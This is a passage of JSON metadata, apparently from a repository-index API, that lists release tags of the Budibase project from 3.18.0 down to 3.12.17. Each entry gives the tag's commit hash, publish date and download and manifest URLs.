ha":"8bb6af5eb490c4aea138b1bd6aea189025d631b1","kind":"commit","published_at":"2025-08-27T08:04:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.18.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.18.0/manifests"},{"name":"3.17.5","sha":"f68796e024459869197099a1f91f5afa7f84a60d","kind":"commit","published_at":"2025-08-26T08:59:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.17.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.17.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.17.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.5/manifests"},{"name":"3.17.4","sha":"13f924868bd00b265fd5993de287070108375410","kind":"commit","published_at":"2025-08-22T09:33:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.17.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.4/manifests"},{"name":"3.17.3","sha":"eab5be8c769b0a91211403e7f96b7cc791753938","kind":"commit","published_at":"2025-08-20T17:45:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.17.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.3/manifests"},{"name":"3.17.2","sha":"362d38d94f8a5b6a5cbbf71b2af1032cc39ede1b","kind":"commit","published_at":"2025-08-20T14:51:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.17.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.2/manifests"},{"name":"3.17.1","sha":"604d26ac94cf80fe6a2f06db874a800edba338fa","kind":"commit","published_at":"2025-08-20T12:29:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.17.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.1/manifests"},{"name":"3.17.0","sha":"40fef1ce803d8fecf1773834dbfaec403cac3c32","kind":"commit","published_at":"2025-08-20T12:08:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.17.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.17.0/manifests"},{"name":"3.16.1","sha":"c98f6c227ee3ea006eaf715f23163a73683b5d81","kind":"commit","published_at":"2025-08-18T15:34:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.16.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.16.1/manifests"},{"name":"3.16.0","sha":"e2c119f510dffdd743d4e5ef41ede950a56a6178","kind":"commit","published_at":"2025-08-18T13:06:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.16.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.16.0/manifests"},{"name":"3.15.1","sha":"f9f240468e8742be5fa04ddf82a6b1651afd6dce","kind":"commit","published_at":"2025-08-18T12:32:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.15.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.15.1/manifests"},{"name":"3.15.0","sha":"91722f4bbcaaaae86af9e2d556a48b7cba7464bd","kind":"commit","published_at":"2025-08-11T10:36:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.15.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.15.0/manifests"},{"name":"3.14.1","sha":"646572f836a47535804412c7ece2c7f0416812f1","kind":"commit","published_at":"2025-08-07T08:30:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.14.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.14.1/manifests"},{"name":"3.14.0","sha":"99e6582884d2100a71052635b8983874b40c1aff","kind":"commit","published_at":"2025-08-06T08:28:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.14.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.14.0/manifests"},{"name":"3.13.29","sha":"410346fdb894dbe840013deeebf563be06140b1f","kind":"commit","published_at":"2025-08-04T11:26:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.29","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.29/manifests"},{"name":"3.13.28","sha":"18b83e7c6cff52020f6926f2782108d952ec3f1d","kind":"commit","published_at":"2025-07-31T15:50:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.28","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.28/manifests"},{"name":"3.13.27","sha":"1d46e9f60ce7bee720cb3596689582ae4a5369d3","kind":"commit","published_at":"2025-07-29T13:38:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.27","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.27/manifests"},{"name":"3.13.26","sha":"ac0d18cb96ce4b0438aae4abe47ea8969c00becc","kind":"commit","published_at":"2025-07-29T12:26:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.26","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.26/manifests"},{"name":"3.13.25","sha":"d5cb7ad29473ab93b5b0e18037398244370ebe97","kind":"commit","published_at":"2025-07-29T09:44:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.25","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.25/manifests"},{"name":"3.13.24","sha":"50fa200984f9e9e2e16bbf9e29ed0be3b3fdbcb2","kind":"commit","published_at":"2025-07-25T11:03:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.24","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.24/manifests"},{"name":"3.13.23","sha":"d064700538ddea34653f3b94d1fcf6f0b4e27564","kind":"commit","published_at":"2025-07-23T12:10:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.23","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.23/manifests"},{"name":"3.13.22","sha":"c10addb2a8ce3326aac93b2d5298dc47afcb2085","kind":"commit","published_at":"2025-07-22T15:49:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.22","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.22/manifests"},{"name":"3.13.21","sha":"f7e81b584d02ecac10c3dfba75ed46e2fb6143fa","kind":"commit","published_at":"2025-07-21T17:03:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.21","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.21/manifests"},{"name":"3.13.20","sha":"2d9ae6b29f9d392631d9b3a96d6a7cc22a119429","kind":"commit","published_at":"2025-07-21T15:36:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.20","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.20/manifests"},{"name":"3.13.19","sha":"136aa01f71be5252bd270e4b474e23524ba1d07b","kind":"commit","published_at":"2025-07-18T13:11:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.19","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.19/manifests"},{"name":"3.13.18","sha":"2d8b753eb4e10be4136f0dae1fc158ee94f20532","kind":"commit","published_at":"2025-07-18T08:45:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.18","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.18/manifests"},{"name":"3.13.17","sha":"4747e43e93262aead0e5f740e4655a96b29159a2","kind":"commit","published_at":"2025-07-17T09:07:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.17","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.17/manifests"},{"name":"3.13.16","sha":"71bfc743ab6cda6a03fbb7683308a02bcc8951f0","kind":"commit","published_at":"2025-07-14T09:02:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.16","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.16/manifests"},{"name":"3.13.15","sha":"4bf35c694112a46ddfb3e1753d1c7253d7ba409f","kind":"commit","published_at":"2025-07-10T17:11:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.15","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.15/manifests"},{"name":"3.13.14","sha":"48b64d05be3ee25d97c5ae0b1ed881e4a74ae09c","kind":"commit","published_at":"2025-07-10T15:26:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.14","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.14/manifests"},{"name":"3.13.13","sha":"7e4a7739017399f1034b30bbc702f84b185ef518","kind":"commit","published_at":"2025-07-10T13:23:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.13","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.13/manifests"},{"name":"3.13.12","sha":"854a8b772864a32a76ceaa88e5620a8d4d062b9a","kind":"commit","published_at":"2025-07-10T07:05:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.12","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.12/manifests"},{"name":"3.13.11","sha":"a5af9f03bb78d6778a927fea5ce5ffedf6265303","kind":"commit","published_at":"2025-07-09T14:57:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.11","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.11/manifests"},{"name":"3.13.10","sha":"e7f082796e57bebd7a3293b1c99eb7eb593568dc","kind":"commit","published_at":"2025-07-07T16:51:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.10","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.10/manifests"},{"name":"3.13.9","sha":"045b837d0339969d517ff1b3563c05cb338812e2","kind":"commit","published_at":"2025-07-07T10:20:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.9","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.9/manifests"},{"name":"3.13.8","sha":"602d831fc4a31f303171d0a18e408b101a7f33ff","kind":"commit","published_at":"2025-07-02T09:11:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.8","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.8/manifests"},{"name":"3.13.7","sha":"04c24a96a83194c432c2a1de0f211ecb17c14ae4","kind":"commit","published_at":"2025-07-02T08:10:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.7","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.7/manifests"},{"name":"3.13.6","sha":"64d5cb45a9ad7b4803cba436236601d5608b87ba","kind":"commit","published_at":"2025-06-26T15:25:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.6","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.6/manifests"},{"name":"3.13.5","sha":"7af860177aca9af862a77962ff54f6672601ae5f","kind":"commit","published_at":"2025-06-26T11:37:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.5","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.5/manifests"},{"name":"3.13.4","sha":"5406276fc66f8f7defcccbde04572b7cea887967","kind":"commit","published_at":"2025-06-26T10:44:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.4","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.4/manifests"},{"name":"3.13.3","sha":"4d483d67e39308c63b90c7bf1a9addc1699bd323","kind":"commit","published_at":"2025-06-26T07:59:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.3","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.3/manifests"},{"name":"3.13.2","sha":"d3343907df0350dc06db0d621776fff8b07850ba","kind":"commit","published_at":"2025-06-25T17:03:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.2","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.2/manifests"},{"name":"3.13.1","sha":"1becf1833413b57ec9940d308bf8be5aeb9fafa1","kind":"commit","published_at":"2025-06-25T16:34:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.1","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.1/manifests"},{"name":"3.13.0","sha":"42ddb9a628d47c49adf523860ca8529020b61b82","kind":"commit","published_at":"2025-06-25T13:52:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.13.0","html_url":"https://github.com/Budibase/budibase/releases/tag/3.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.13.0/manifests"},{"name":"3.12.21","sha":"e4e50c5b204e7db6936a72d896c9f48b29c3a272","kind":"commit","published_at":"2025-06-25T07:31:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.21","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.21/manifests"},{"name":"3.12.20","sha":"57de79044236340f6bd7565816d1d489587fa9d8","kind":"commit","published_at":"2025-06-24T12:27:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.20","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.20/manifests"},{"name":"3.12.19","sha":"95447dec143367fc21d558a8ab0e8b507e1e37ba","kind":"commit","published_at":"2025-06-20T15:39:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.19","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.19/manifests"},{"name":"3.12.18","sha":"e8309f759bc6e54c6e25931c49f43fad23d74b91","kind":"commit","published_at":"2025-06-19T13:40:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.18","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/3.12.18/manifests"},{"name":"3.12.17","sha":"359f4c72128d3da6d3d64c4be7e19e6dd66ddfd4","kind":"commit","published_at":"2025-06-19T13:08:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/3.12.17","html_url":"https://github.com/Budibase/budibase/releases/tag/3.12.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@3.12.17","tag_url":"https://repos.ecosyste.ms/api/